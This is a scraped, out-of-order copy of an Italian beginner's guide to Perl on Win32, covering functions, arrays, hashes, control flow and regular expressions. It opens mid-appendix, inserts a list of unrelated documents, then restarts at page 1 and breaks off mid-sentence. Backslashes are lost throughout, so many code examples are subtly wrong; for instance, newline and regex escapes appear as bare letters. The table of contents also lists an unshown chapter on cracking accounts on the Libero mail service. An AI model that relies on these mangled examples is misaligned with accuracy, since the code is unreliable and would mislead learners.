Apre il file
open log >> /tmp/log
Apre il file log e ne passa il contenuto a /tmp/log, senza sovrascriverlo
open <file;
Apre il file per la modifica

open(FILE, "<miofile;");
Come sopra, solo che poi sarà possibile agire su FILE
36. pop Estrae e restituisce l'ultimo valore di un array riducendone di 1 le dimensioni. Se l'array è vuoto,
restituisce ''

Luigi Capuzzello
Guida al Perl per Win3240

37. print Stampa una stringa o una lista di stringhe. Restituisce 1 se eseguito con successo, 0 altrimenti
print "Hello worldn";
quante volte vedrete questo esempio!
$bla = 3
print "Il valore di 'bla' è $blan";
visualizza "il risultato di 'bla è 3"
38. push Aggiunge uno o più elementi in coda all'array ampliandone la lunghezza
@bla = ("a");
$arr = "xterm";
push(@bla, "eek", $arr, 12.5)
@bla risulta ( "a","eek", $arr, 12.5);
39. quotemeta Restituisce una variante dell'argomentoin cui gli eventuali metacaratteri sono resi con l'aggiunta
del carattere backslash (  )
quotemeta ".*" restituisce ".*"
rand La funzione random. Passando un argomento numerico alla funzione, questa restituirà un valore casuale
compreso tra 0 e il numero indicato. Se non è fornito alcun argomento, restituirà un valore compreso tra 0 e
1, estremi inclusi
40. readlink Passandogli un link come argomento, la funzione restituisce il nome del file ( o directory) a cui quel
file punta
41. rename Rinomina un file: restituisce 1 se l'operazione è stata svolta con successo, 0 in caso contrario
42. rmdir Rimuove la directory indicata come argomento della funzione
rmdir "temp_dir";
43. shift Estrae il primo valore dell'array e lo restituisce, accorciando di 1 la lunghezza dell'array e facendo
slittare i restanti elementi. In un certo senso, è l'opposto di push. Se l'array è vuoto, lo lascia vuoto e
restituisce un valore "undef".
@bla = ("a", "xterm", 12.5);

44.
45.
46.
47.
48.

$v = shift @bla;
# @bla è ("xterm", 12.5) e $v è "a"
sin Funzione matematica: restituisce il seno di un determinato valore
sleep Aspetta il numero di secondi indicati come argomento della funzione.
split Cerca particolari sequenze di caratteri e scompone la stringa in una serie di sottostringhe, restituendo la
lista generata (in contesto scalare) o il numero di sottostringhe generate. Verrà meglio spiegato più avanti,
dopo le spiegazioni sulle espressioni regolari.
sqrt Funzione matematica: calcola la radice quadrata.
symlink Crea un link simbolico. La sintassi è:
symlink OLDFILE, NEWFILE

Nei sistemi che non prevedono i link simbolici, la funzione uscirà con un errore. In questo caso si veda la
funzione link().
49. system Esegue un programma. E' simile a exec, ma dopo la fine dell'esecuzione del programma ritorna
invece di uscire.
system ("comando", "istruzioni")
50. undef Prende il nome di una variabile e la imposta come indefinita. Senza argomenti, restituisce un valore
indefinito. Undef non restituisce mai '' o 0.
undef %bla;
si sbarazza dell'hash %bla
undef $eek;
si sbarazza dello scalare $eek
$eek = undef;
come sopra
51. unlink Cancella un file o una lista di file.
unlink "tempfile";
unlink "tempfile", "altrifile";
52. unshift Aggiunge una lista di elementi in testa all'array e restituisce il numero di elementi.
@bla = ("a", "b");

Luigi Capuzzello
Guida al Perl per Win3241

$arr = "xterm";
unshift(@bla, "eek", $arr, 12.5); # @bla è ("eek", "xterm", 12.5,
53. warn Emette un 'warning' nel canale STDERR, come fa die ma senza uscire.
warn "debugger enebled" if $debug;
54. <> Legge una riga da STDIN e la restituisce.
$_ = <>;
legge una linea in $_
chop;
esegue chop su n
print "Hai scritto '$_'n";
visualizza l'output, ovvero quello che si è digitato preceduto da "Hai scritto"

Luigi Capuzzello
Guida al Perl per Win3242

Appendice A. Elenco delle funzioni per argomento.
Funzioni aritmetiche
abs(espr)
valore assoluto dell'espressione
cos(espr)
coseno trigonometrico dell'espressione
exp(espr)
esponenziale (e elevato a espr)
int(espr)
valore intero
log(espr)
logaritmo naturale (in base e) di espr
rand(espr)
valore casuale (non intero) tra 0 ed espr
sin(espr)
seno trigonometrico di espr
sqrt(espr)
radice quadrata di espr

Funzioni di conversione
chr(espr)
restituisce il carattere rappresentato dal valore decimale espr
hex(espr)
valore decimale del numero esadecimale espr
oct(espr)
valore decimale del numero ottale espr
Luigi Capuzzello
Guida al Perl per Win3243

ord(espr)
codice ASCII del primo carattere di espr

Funzioni su stringhe
chop(lista)
rimuove l'ultimo carattere da ogni elemento della lista
eval(espr)
valuta l'espressione Perl espr
index(str, substr)
posizione di substr all'interno della stringa str
length(espr)
lunghezza della stringa espr
lc(espr)
restituisce espr in caratteri minuscoli
rindex(str,substr)
posizione dell'ultima occorrenza di substr nella stringa str
substr(espr,offset,len)
estrae una sottostringa di lunghezza len dalla stringa espr a partire dal
di posizione offset
uc(espr)
restituisce espr in caratteri maiuscoli

Funzioni su array e liste
delete($array{chiave})
elimina l'elemento dall'array associativo
exists($array{chiave})
verifica se l'elemento dell'array associativo esiste
Luigi Capuzzello

carattere
Guida al Perl per Win3244

grep(espr,lista)
restituisce gli elementi della lista per i quali l'espressione espr ha valore

vero

join(espr,lista)
concatena gli elementi della lista separandoli mediante la stringa espr;
una stringa con gli elementi concatenati

restituisce

keys(%array)
restituisce una lista con le chiavi dell'array associativo
pop(@array)
restituisce l'ultimo elemento dell'array e lo elimina dall'array stesso
push(@array,lista)
inserisce gli elementi della lista alla fine dell'array
reverse(lista)
restituisce la lista in ordine inverso
shift(@array)
restituisce il primo elemento della lista e lo elimina dall'array
sort(lista)
ordina gli elementi della lista e restituisce una lista ordinata
splice(@array,offset,length,lista)
rimuove gli elementi dell'array a partire da offset per length elementi e li rimpiazza
con gli elementi della lista; restituisce gli elementi rimossi
split(pattern,espr)
restituisce una lista di elementi generati dividendo la stringa espr in
volta che viene incontrata la sottostringa pattern
unshift(@array,lista)
inserisce gli elementi della lista in testa all'array
values(%array)
restituisce un array con i valori degli elementi dell'array associativo

Luigi Capuzzello

elementi ogni
Guida al Perl per Win3245

Funzioni su file e directory
chmod(modo,lista)
cambia i permessi sui file specificati nella lista
chown(user,group,lista)
cambia il proprietario ed il gruppo dei file specificati nella lista
mkdir(dir,modo)
crea la directory dir con i permessi specificati in modo
truncate(file,dim)
tronca il file alla dimensione dim
rename(vecchio,nuovo)
cambia il nome di un file
rmdir(dir)
elimina la directory dir
unlink(lista)
cancella dal filesystem i file specificati nella lista

Funzioni di Input/Output
close(filehandle)
chiude il file
eof(filehandle)
restituisce vero se il file è terminato, falso altrimenti
getc(filehandle)
restituisce il successivo carattere letto dal file open(filehandle,file)
apre il file e gli associa il nome logico
filehandle print filehandle lista
Luigi Capuzzello
Guida al Perl per Win3246

scrive su file
read(filehandle, $var,$n$,offset)
legge n byte dal file a partire dalla posizione offset e li memorizza in $var
seek(filehandle,posizione)
posiziona il puntatore all'interno del file
sprintf formato,lista
restituisce lista in una stringa formattata in base al formato tell(filehandle)
restituisce la posizione del puntatore all'interno del file

Luigi Capuzzello

Contenu connexe

Similaire à Perl

tititototgovòolnèoik j+ipj +iphn +nkl +àoènkl àhnilk
tititototgovòolnèoik j+ipj +iphn +nkl +àoènkl àhnilktititototgovòolnèoik j+ipj +iphn +nkl +àoènkl àhnilk
tititototgovòolnèoik j+ipj +iphn +nkl +àoènkl àhnilkProva Cy
 
DOC Cubeyou Milano' presentazione
DOC  Cubeyou  Milano' presentazioneDOC  Cubeyou  Milano' presentazione
DOC Cubeyou Milano' presentazionerobcar1986
 
Bar e Ristoranti ..... Questo e' il titolo.
Bar e Ristoranti ..... Questo e' il titolo.Bar e Ristoranti ..... Questo e' il titolo.
Bar e Ristoranti ..... Questo e' il titolo.robcar1986
 
Il tutorial di Python
Il tutorial di PythonIl tutorial di Python
Il tutorial di PythonAmmLibera AL
 
Progettazione ed implementazione di una piattaforma software per la gestione ...
Progettazione ed implementazione di una piattaforma software per la gestione ...Progettazione ed implementazione di una piattaforma software per la gestione ...
Progettazione ed implementazione di una piattaforma software per la gestione ...Lorenzo Rossoni
 
Le Basi di Python.pdf
Le Basi di Python.pdfLe Basi di Python.pdf
Le Basi di Python.pdfalessigreco
 
Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità
Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilitàTesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità
Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilitàRiccardo Melioli
 
Italian deft 7 manual 50
Italian deft 7 manual 50Italian deft 7 manual 50
Italian deft 7 manual 50mstrom62
 
Costruzione e Sviluppo in ambiente STNucleo di un Quadricottero con Stabilizz...
Costruzione e Sviluppo in ambiente STNucleo di un Quadricottero con Stabilizz...Costruzione e Sviluppo in ambiente STNucleo di un Quadricottero con Stabilizz...
Costruzione e Sviluppo in ambiente STNucleo di un Quadricottero con Stabilizz...Simone Fini
 
Seo e Sem | Digital Marketing e Information Retrieval
Seo e Sem | Digital Marketing e Information RetrievalSeo e Sem | Digital Marketing e Information Retrieval
Seo e Sem | Digital Marketing e Information RetrievalAlberto Fumagalli
 
Firebird SQL
Firebird SQLFirebird SQL
Firebird SQLulcera86
 

Similaire à Perl (17)

[MWT] Web mining
[MWT] Web mining[MWT] Web mining
[MWT] Web mining
 
Guida C# By Megahao
Guida C# By MegahaoGuida C# By Megahao
Guida C# By Megahao
 
null null
null nullnull null
null null
 
tititototgovòolnèoik j+ipj +iphn +nkl +àoènkl àhnilk
tititototgovòolnèoik j+ipj +iphn +nkl +àoènkl àhnilktititototgovòolnèoik j+ipj +iphn +nkl +àoènkl àhnilk
tititototgovòolnèoik j+ipj +iphn +nkl +àoènkl àhnilk
 
DOC Cubeyou Milano' presentazione
DOC  Cubeyou  Milano' presentazioneDOC  Cubeyou  Milano' presentazione
DOC Cubeyou Milano' presentazione
 
Bar e Ristoranti ..... Questo e' il titolo.
Bar e Ristoranti ..... Questo e' il titolo.Bar e Ristoranti ..... Questo e' il titolo.
Bar e Ristoranti ..... Questo e' il titolo.
 
Il tutorial di Python
Il tutorial di PythonIl tutorial di Python
Il tutorial di Python
 
Progettazione ed implementazione di una piattaforma software per la gestione ...
Progettazione ed implementazione di una piattaforma software per la gestione ...Progettazione ed implementazione di una piattaforma software per la gestione ...
Progettazione ed implementazione di una piattaforma software per la gestione ...
 
ECDL-modulo6
ECDL-modulo6ECDL-modulo6
ECDL-modulo6
 
Le Basi di Python.pdf
Le Basi di Python.pdfLe Basi di Python.pdf
Le Basi di Python.pdf
 
ECDL-modulo1
ECDL-modulo1ECDL-modulo1
ECDL-modulo1
 
Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità
Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilitàTesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità
Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità
 
Italian deft 7 manual 50
Italian deft 7 manual 50Italian deft 7 manual 50
Italian deft 7 manual 50
 
Tesi Tamiazzo09
Tesi Tamiazzo09Tesi Tamiazzo09
Tesi Tamiazzo09
 
Costruzione e Sviluppo in ambiente STNucleo di un Quadricottero con Stabilizz...
Costruzione e Sviluppo in ambiente STNucleo di un Quadricottero con Stabilizz...Costruzione e Sviluppo in ambiente STNucleo di un Quadricottero con Stabilizz...
Costruzione e Sviluppo in ambiente STNucleo di un Quadricottero con Stabilizz...
 
Seo e Sem | Digital Marketing e Information Retrieval
Seo e Sem | Digital Marketing e Information RetrievalSeo e Sem | Digital Marketing e Information Retrieval
Seo e Sem | Digital Marketing e Information Retrieval
 
Firebird SQL
Firebird SQLFirebird SQL
Firebird SQL
 

Perl

  • 1. LUIGI CAPUZZELLO Perl Guida per principianti Versione: 1.0 Luigi Capuzzello 09/12/2013 http://www.linkedin.com/pub/luigi-capuzzello/7/561/12a http://www.slideshare.net/luigicapuzzello @FisherKasparov luigi.capuzzello Breve guida introduttiva alla programmazione in Perl.
  • 2. Guida al Perl per Win322 Sommario Guida al Perl per Win32.......................................................................................................................5 I. Introduzione..................................................................................................................................5 eq ==.............................................................................................................................................5 ne !=..............................................................................................................................................5 Esempi Utili: eseguire comandi da riga di comando....................................................................5 Esempi Utili: prendere input da <STDIN>..................................................................................6 II. Array............................................................................................................................................7 Viene creato..................................................................................................................................7 Per accedere ad uno degli elementi .............................................................................................7 Per copiare un array in un altro ...................................................................................................7 $#array -Size dell’array..............................................................................................................7 Push e Pop....................................................................................................................................7 Shift e Unshift...............................................................................................................................7 Sort e Reverse...............................................................................................................................8 foreach..........................................................................................................................................8 III. Creare uno Hash.........................................................................................................................9 Per creare uno Hash .....................................................................................................................9 Per prelevare un valore ................................................................................................................9 keys -Per estrarre tutte le chiavi ................................................................................................9 values -Per estrarre tutti i valori .................................................................................................9 each -Per estrarre una copia chiave-valore ................................................................................9 delete -Per eliminare una copia chiave – valore........................................................................10 exists -Per verificare l'esistenza di una chiave .........................................................................10 IV. Istruzioni Decisionali...............................................................................................................11 if – elsif.......................................................................................................................................11 unless .........................................................................................................................................11 ? -operatore ternario..................................................................................................................11 && || -operatori and e or............................................................................................................11 V. Istruzioni Iterative......................................................................................................................12 while...........................................................................................................................................12 until.............................................................................................................................................12 next, last, redo.............................................................................................................................12 do ... while – do … until.............................................................................................................12 Istruzione for..............................................................................................................................12 istruzione foreach.......................................................................................................................13 VI. Espressioni Regolari.................................................................................................................14 d D w W s S ........................................................................................................................14 [] -Classi ...................................................................................................................................14 Moltiplicatore (parola da cercare){min,max}............................................................................14 ? -Operatore che rende inerte il linguaggio...............................................................................15 $1 $2 $3 -Memorizzazione delle corrispondenze......................................................................15 1 2 -Altri simboli speciali:......................................................................................................16 ?: -Simbolo speciali...................................................................................................................16 $& $` $’ – Simboli speciali......................................................................................................16 ^ $ b B -Asserzioni...................................................................................................................16 ?= ?! -lookahead positivo e negativo........................................................................................17 | -Alternative..............................................................................................................................17 Luigi Capuzzello
  • 3. Guida al Perl per Win323 Precedenze tra operatori.............................................................................................................17 Interpolazione di variabili...........................................................................................................17 /i -Ignora il case.........................................................................................................................17 l u L U E -Maiuscolo e Minuscolo........................................................................................17 /…/g -Matching Globale...........................................................................................................18 s/…/…/ -Operatore di sostituzione............................................................................................18 tr/…/…/ -Operatore di traduzione.............................................................................................18 split.............................................................................................................................................18 join..............................................................................................................................................19 Esempi pratici.............................................................................................................................19 VI. File e Directory.........................................................................................................................20 Copiare un File in un altro..........................................................................................................20 Seek............................................................................................................................................20 La funzione di Globbing.............................................................................................................21 Aprire file binari.........................................................................................................................21 Test sui file.................................................................................................................................21 Eliminare un File........................................................................................................................22 Rinominare un File.....................................................................................................................23 Modifica dei permessi di un File................................................................................................23 Cambiare la directory.................................................................................................................23 Aprire una Directory, leggere i File e chiudere una Directory...................................................23 Creare e Cancellare una Directory..............................................................................................23 VII. Variabili Speciali....................................................................................................................24 $_ -variabile di default ............................................................................................................24 $#array -Size dell’array............................................................................................................24 $$ $< $0 $! $? $@ -variabili sullo stato del programma........................................................24 ARGV -variabili passate al mio script.....................................................................................24 %ENV -varaibili d’ambiente....................................................................................................24 VIII. Variabili Speciali...................................................................................................................25 Dichiarazione di funzioni...........................................................................................................25 Passare dati a una funzione.........................................................................................................25 Utilizzare una funzione...............................................................................................................25 local -Dichiarazione di variabili locali......................................................................................25 IX. Web Automation......................................................................................................................26 LWP: classi principali................................................................................................................26 HTTP::Response -Metodi principali..........................................................................................26 Aggiungere HTTP Request Header............................................................................................26 Cookies.......................................................................................................................................26 Effettuare un POST....................................................................................................................27 Effettuare un GET......................................................................................................................27 Usare PROXY............................................................................................................................28 HTTPS........................................................................................................................................28 HTTP Authentication.................................................................................................................28 Pagine di grosse dimensioni.......................................................................................................29 Esempio riepilogativo: Accedere al Sy@net con User e Password...........................................29 Esempio riepilogativo: Craccare gli account di Libero..............................................................31 Riferimenti:.................................................................................................................................32 IX. CGIPerl...................................................................................................................................33 Installazione dell’ambiente.........................................................................................................33 Parallel::ForkManager 0.7..............................................................................................................34 Installazione del modulo ............................................................................................................34 Luigi Capuzzello
  • 4. Guida al Perl per Win324 NAME .......................................................................................................................................34 SYNOPSIS ................................................................................................................................34 DESCRIPTION .........................................................................................................................34 METHODS ................................................................................................................................34 CALLBACKS ...........................................................................................................................35 EXAMPLE: Parallel get ............................................................................................................35 Callbacks ...................................................................................................................................36 BUGS AND LIMITATIONS ....................................................................................................36 Appendice A. Elenco delle funzioni...............................................................................................37 Appendice A. Elenco delle funzioni per argomento.......................................................................42 Funzioni aritmetiche ..................................................................................................................42 Funzioni di conversione ............................................................................................................42 Funzioni su stringhe .................................................................................................................43 Funzioni su array e liste ............................................................................................................43 Funzioni su file e directory ........................................................................................................45 Funzioni di Input/Output ...........................................................................................................45 Luigi Capuzzello
  • 5. Guida al Perl per Win325 Guida al Perl per Win32 1. Per installare il compilatore Perl usare ‘ActivePerl-5.8.7.813-MSWin32-x86-148120.msi’. 2. Una volta installato posso utilizzare il compilatore Perl da riga di comando usando: c:>perl c:Hallo.txt dove Hallo.txt contiene i comandi Perl da eseguire. I. Introduzione. print ("Ciao come ti chaimi?n"); $nome=<STDIN>; chomp($nome); print ("Ciao $nome n"); if ($name eq "luigi") { print "Proprio un bel nomen"; } else { print "Hello, $name!n"; } #scrive sullo STDOUT #prende un valore dallo STDIN #toglie da $nome il carattere NewLine #stampa la variabile #Costrutto if then else eq == Compara due stringhe e dice che sono uguali solamente se ogni singolo carattere dell’una corrisponde all’altra e la lunghezza è la stessa. $secretword = "gecko"; # the secret word print "What is your name? "; $name = <STDIN>; chomp $name; if ($name eq "Erik") { print "Hello, Erik! How good of you to be here!n"; } else { print "Hello, $name!n"; # ordinary greeting print "What is the secret word? "; $guess = <STDIN>; chomp $guess; while ($guess ne $secretword) { print "Wrong, try again. What is the secret word? "; $guess = <STDIN>; chomp $guess; } } #While ne != Restituisce TRUE se le stringhe sono diverse. Esempi Utili: eseguire comandi da riga di comando. Basta usare la notazione qx/ <comando> /. Ad esempio se voglio lanciare un hping2. #Metto nell’array @res tutte le righe passate da hping2 (parametrizzato con $i e $IP) my @res=qx/hping2 -1s -2 -t $i $IP -n -c 2 -p 53 2>&1/; # Ogni riga restituita da hping viene passata a $line foreach my $line (@res){ #Salvo i risultati in un file $outfile =”c:out.txt” open (OUT,"+>>$outfile") || die "Cant create output filen"; print OUT "$lowerbound-$upperboundn"; Luigi Capuzzello
  • 6. Guida al Perl per Win326 close (OUT); } Esempi Utili: prendere input da <STDIN>. Basta: print "Quanti punti ha totalizzato l'Italia, nel primo girone di qualificazione?n"; $punti=<STDIN>; chomp($punti); if ($punti == 9) { Luigi Capuzzello
  • 7. Guida al Perl per Win327 II. Array Viene creato in due modi identici: @words = ("camel","gecko","alpaca"); @words = qw(camel gecko alpaca); @a = $a[0] $a[1] $a[2] $a[3] $a[7] (); ="a1 ="a2 ="a3 ="a4 ="a8 "; "; "; "; "; Per accedere ad uno degli elementi è sufficiente fare così: $words[0] is camel; $words[1] is gecko; $words[2] is alpaca. La variabile array restituisce il numero di elementi dell’array e se usata direttamente nel prit da l’elenco dei nomi che contiene. Ad esempio: @collaboratori=('Fabio', 'Davide', 'Alessandro', 'Salvatore'); $c=@collaboratori; print "Io, Giordano ho $c collaboratori, ed insieme cerchiamo di dare corpo al nostro siton"; print "i miei $c collaboratori si chiamano @collaboratorin"; Per copiare un array in un altro basta fare così: @NuovoArray=@VecchioArray se invece faccio così: @A1 = (‘1’,’2’); @A2 = (‘3’,’4’); @A3 = (@A1,@A2); Allora @A3 NON è un Array di Array ma un Array costituito dalla somma dei valori di @A1 e @A2 cioè: @A3 = (‘1’,’2’, ‘3’,’4’); $#array -Size dell’array Restituisce il numero di elementi di un array Push e Pop Gli array possono essere visti come uno stack di valori per cui per inserire un nuovo elemento nell’array posso usare push: push(@a,'Giordano'); Per togliere un elemento dall’array posso usare pop: @a= qw(1 2 3 4 5); $cinque=pop(@a); print "Hai estratto da @a il numero $cinquen"; Shift e Unshift Sono come push e pop ma inserisco e tolgono elementi dell’array dalla coda (ossia dalla parte sinistra) dell’array. In questo caso Shift = Pop e Unshift = Push. Esempio: Luigi Capuzzello
  • 8. Guida al Perl per Win328 @az=(1,2,3,4,5); shift @az; print "@azn"; # varrà (2,3,4,5) unshift(@az,7,9,6,1,0,-5); print "@azn"; # varrà (7,9,6,1,0,-5,2,3,4,5) Sort e Reverse Consentono di ordinare in modo crescente (sort) o decrescente (Reverse) un determinato array. Nel caso di array alfanumerici l’array sarà ordinato comunque in ordine alfabetico. Esempio: @a= qw(Luigi Camilla Leda Checco Vale); @b=sort(@a); @c=reverse(@a); print "Array originale: @an"; print "Array ordinato: @bn"; print "Array invertito: @cnn"; foreach Con questo semplice esempio è possibile processare ogni singolo elemento di @settimana applicando la funzione foreach alla variabile scalare $festa la quale si occuperà di processare i valori dell'array al solo interno del blocco foreach, rappresentato tra le parentesi graffe, e non anche all'esterno, dove la variabile $festa riprende il suo valore predefinito. Il risultato dovrebbe assomigliare a questo: @settimana =('lunedì','martedì','mercoledì','giovedì','venerdì','sabato'); $festa=domenica; foreach $festa (@settimana) { print "$festa: giorno ferialen" } print "n$festa: giorno di riposo"; Questo esempio restituisce lunedì: giorno feriale martedì: giorno feriale mercoledì: giorno feriale giovedì: giorno feriale venerdì: giorno feriale sabato: giorno feriale domenica: giorno di riposo Luigi Capuzzello
  • 9. Guida al Perl per Win329 III. Creare uno Hash Uno Hash è una tabella di elementi chiave – valore. Per creare uno Hash è necessario fare così: %numero = qw( 1 uno 2 due 3 tre 4 quattro ); Altra possibilità consiste nell’utilizzare il simbolo => che evidenzia maggiormente il legame chiave => valore. %girA=( Portogallo =>6, Inghilterra => 3, Germania => 1, Romania => 1 ); Per prelevare un valore posso fare riferimento alla sua chiave: print "Estraggo il numero $numero{1}n" oppure utilizzo una variabile d’appoggio: $puntPR = $girA{Portogallo} ; print $puntPR; keys -Per estrarre tutte le chiavi dalla variabile Hash si utilizza la parola chiave keys. %settimana=( Lun=>feriale, Mar=>feriale, Mer=>feriale, Gio=>feriale, Ven=>feriale, Sab=>feriale, Dom=>festivo ); @sigle=keys(%settimana); print "@siglen"; Attenzione la parola chiave keys non restituisce le chiavi nell’ordine in cui sono state inserite! values -Per estrarre tutti i valori dalla variabile Hash si utilizza la parola chiave values. %settimana=( Lun=>feriale, Mar=>feriale, Mer=>feriale, Gio=>feriale, Ven=>feriale, Sab=>feriale, Dom=>festivo ); @day=values(%settimana); print "@dayn"; Attenzione la parola chiave keys non restituisce le chiavi nell’ordine in cui sono state inserite! each -Per estrarre una copia chiave-valore posso usare il parola chiave each Luigi Capuzzello
  • 10. Guida al Perl per Win3210 %settimana=( Lun=>feriale, Mar=>feriale, Mer=>feriale, Gio=>feriale, Ven=>feriale, Sab=>feriale, Dom=>festivo ); ($chiave, $valore)=each(%settimana); print "$chiave - $valoren"; Anche in questo caso l’ordine di estrazione delle copie è causale pertanto posso inserire l’estrazione in un ciclo while %settimana=( Lun=>feriale, Mar=>feriale, Mer=>feriale, Gio=>feriale, Ven=>feriale, Sab=>feriale, Dom=>festivo ); while(($chiave, $valore)=each(%settimana)) { print "Il giorno di $chiave è $valoren"; } delete -Per eliminare una copia chiave – valore elimino il lunedì dai giorni della settimana delete($settimana{Lun}); exists -Per verificare l'esistenza di una chiave all'interno di un hash si usa la funzione exists. %settimana=( Lun=>feriale, Mer=>feriale, Gio=>feriale, Ven=>feriale, Sab=>feriale, Dom=>festivo ); print "esiste Marn" if exists $settimana{Mar}; Il messaggio viene scritto solo se esiste la chiave Mar. Luigi Capuzzello
  • 11. Guida al Perl per Win3211 IV. Istruzioni Decisionali if – elsif è il principale costrutto decisionale è il costrutto print "Quanti punti ha totalizzato l'Italia, nel primo girone di qualificazione?n"; $punti=<STDIN>; chomp($punti); if ($punti == 9) { print " con $punti punti siamo dei campionin" } elsif ($punti >= 6) { print "con $punti punti non siamo affatto malen" } elsif ($punti > 3) { print "con $punti punti dobbiamo migliorare molton" } else { print "con $punti punti facciamo proprio schifon" } questo costrutto può essere sostituito con un costrutto più semplice da visualizzare print "Quanti punti ha totalizzato l'Italia,"; print " nel primo girone di qualificazione?n"; $punti=<STDIN>; chomp($punti); print "con $punti punti siamo dei campionin" if $punti == 9; print "con $punti punti non siamo affatto malen" if $punti>=6 and $punti<9; print "con $punti punti dobbiamo migliorare molton" if $punti>=3 and $punti<6; print "con $punti punti facciamo proprio schifon" if $punti>0 and $punti<3; unless L’operatore unless (che tradotto vuole dire ‘se non è’) corrisponde ad un if not print "Quanti punti ha totalizzato l'Italia,"; print " nel primo girone di qualificazione?n"; $punti=<STDIN>; chomp($punti); unless ($punti < 0) { print "Avere $punti punti è sempre meglio di 0n" } ? -operatore ternario Consente di essere concisi nelle clausole if – else print (Inserisci la tua altezza in metri); $altezza =<STDIN>; chomp($altezza); ($altezza > 1.55) ? (print "Con l'altezza di $altezza, puoi dire di essere alto!") : (print "Con l'altezza di $altezza, non puoi dire di essere alto!"); && || -operatori and e or possono essere usati anche con questa accezione $altezza="1.86"; ($altezza > "1.55") && (print "Sei alto!"); ($altezza > "1.55") || (print "Sei basso!"); Luigi Capuzzello
  • 12. Guida al Perl per Win3212 V. Istruzioni Iterative while $a=3; while ($a < 9){ $a++; print "$an"; } esiste anche una forma abbreviata per fare la stessa cosa. È la stessa sintassi usata per if e unless $a=3; print "$an" while $a++ <9; until $a=3; until ($a > 10){ print "$a non soddisfa ancora la condizionen"; $a++; } print "$a soddisfa la condizionen"; next, last, redo next: interrompe l'esecuzione del gruppo di istruzioni e riprende dalla valutazione della condizione last: esce definitivamente dal ciclo `while' senza curarsi del gruppo di istruzioni redo: ripete il ciclo, senza valutare e verificare nuovamente l'espressione della condizione, e senza curarsi del gruppo di istruzioni $a=3; while ($a > 0){ if ($a == 30){ last; } print "$an"; $a++; } do ... while – do … until Stesso comportamento di while e until ma l’espressione è valutata dopo. $a=1; do{ print "$an"; $a++; } while ($a < 30); Istruzione for Ha la stessa sintassi del C for ($a=0;$a<10;$a++){ print '$a='."$a non soddisfa la condizione ".'$a<'."10n"; } Luigi Capuzzello
  • 13. Guida al Perl per Win3213 istruzione foreach Come già detto viene usato soprattutto nelle operazioni con i vettori $a=131; $b=3; @a=(2,3,4,5,6,7); foreach $a (@a) # però all'interno di un istruzione foreach # possiamo associare lo scalare $a all'array # @a senza variare il valore dello stesso al # di fuori del blocco, sarebbe stata la stessa # se avessimo utilizzato lo scalare $b { $a=$a+$b; # non facciamo altro che incrementare di tre # ogni valore di @a print "$an"; } print "------n$an"; # se chiedete di stampare $a fuori dal blocco # foreach il suo valore tornerà ad essere di 131 Luigi Capuzzello
  • 14. Guida al Perl per Win3214 VI. Espressioni Regolari Per confrontare due stringhe e valutare se siano uguali si usa l’operatore =~ seguito dal carattere m (match) che in realtà se omesso viene sottinteso. Nell’esempio che segue controlliamo se nella stringa $a è presente la parola <piace>: $a="Ma quanto mi piace programmare in Perl"; if($a =~ m/piace/){ print "Ho trovato 'piace'n" } else{ print "Non ho trovato 'piace'n" } d D w W s S . Esistono anche alcuni tipi di caratteri speciali che consentono di fare ricerche più sofisticate: o d cioè una qualunque cifra tra 0 e 9; o D cioè un qualunque carattere che non sia una cifra tra 0 e 9; o w cioè un qualunque carattere tra a e z, A e Z, 0 e 9; o W cioè un qualunque carattere che non sia compreso tra a e z, A e Z, 0 e 9; o s cioè un generico carattere di spazio (vengono considerati caratteri spaziatrici anche i costruttori n, r, t, f) o S cioè un generico carattere che non sia di spazio o . Il carattere punto "." indica un qualunque simbolo nell'insieme dei caratteri è come il carattere ‘*’ Esempio: $a="Ma quanto mi piace programmare in Perl5.00"; if($a =~ /Perld/){ print "1: Sarà soddisfatta n" } if($a =~ /insPerld/){ print "2: Sarà soddisfattan" } if($a =~ /inwPerl/){ print "3: Non sarà Soddisfatta n" } [] -Classi Al posto dei tipi di caratteri speciali posso usare le classi tra parentesi quadre senza dipendere da classi standard. All’interno della classe indico: valori puntuali indicandoli uno a fianco all’altro; intervalli indicandoli con il ‘-‘. Un esempio di classe corretta : [03-69a-grst@#?!$£] anche questa è una classe corretta e non fa altro che verificare l'esistenza di un carattere 0 oppure tra 3 e 6 poi il 9, poi tra 'a' e 'g' ecc. ecc. [a-z0-3-] Per mettere nella classe il simbolo ‘-‘ devo usare ‘-‘: Posso anche indicare i caratteri che non ci devono essere in una stringa con l’operatore ‘^’. Nell’esempio che segue viene controllato che dopo Apache non segua un 3 o un 4. $a="Apache3000 è un bel sito"; if($a =~ /Apache[^34]/){ print "tutto ok, niente 3n" } else{ print "peccato ho trovato il 3n" } Moltiplicatore (parola da cercare){min,max}. Nelle espressioni regolari può capitare di cercare un carattere o una parola che si ripetono più volte. Per farlo si usa il moltiplicatore. Luigi Capuzzello
  • 15. Guida al Perl per Win3215 min: indica il numero minimo di evenienze della lettera o della parola che si devono verificare; max: indica il numero massimo di evenienze della lettera o della parola che si devono verificare; /cavallo {1,3}w/ # Verifica "cavallo pazzo", "cavallo pazzo", # ma non verifica "cavallone". Il carattere che # viene esaminato è quello di spazio vuoto /(cavallo){1,3}w/ # Verifica "cavallone", ma non verifica #" cavallo pazzo". Il carattere che # viene esaminato è la sequenza di caratteri # compresi all'interno delle parentesi tonde Esistono anche queste abbreviazioni. {min,} il numero di occorrenze del carattere deve essere almeno min {tot} verifica la corrispondenza del carattere tot volte * equivalente a {0,}, cioè da zero occorrenze in su + equivalente a {1,}, almeno una occorrenza ? equivalente a {0,1}, una occorrenza al massimo Attenzione: nel valutare le espressioni con moltiplicatore il programma è ingordo. Cerca prima di verificare la specifica maggiore del moltiplicatore scansionando l’espressione da sinistra verso destra. Se arrivando in fondo non verifica la direttiva passa a quella meno stringente e così via. Esempio: /.*bollo/ Essa rappresenta un numero qualsiasi di caratteri, eventualmente zero, seguiti dalla sequenza "bollo". Vediamo ora come si comporta il programma per verificare questa espressione regolare. Per prima cosa si colloca sulla prima posizione della stringa. Poi guarda l'espressione regolare e vede che inizia con ".*" cioè un numero qualsiasi di caratteri a 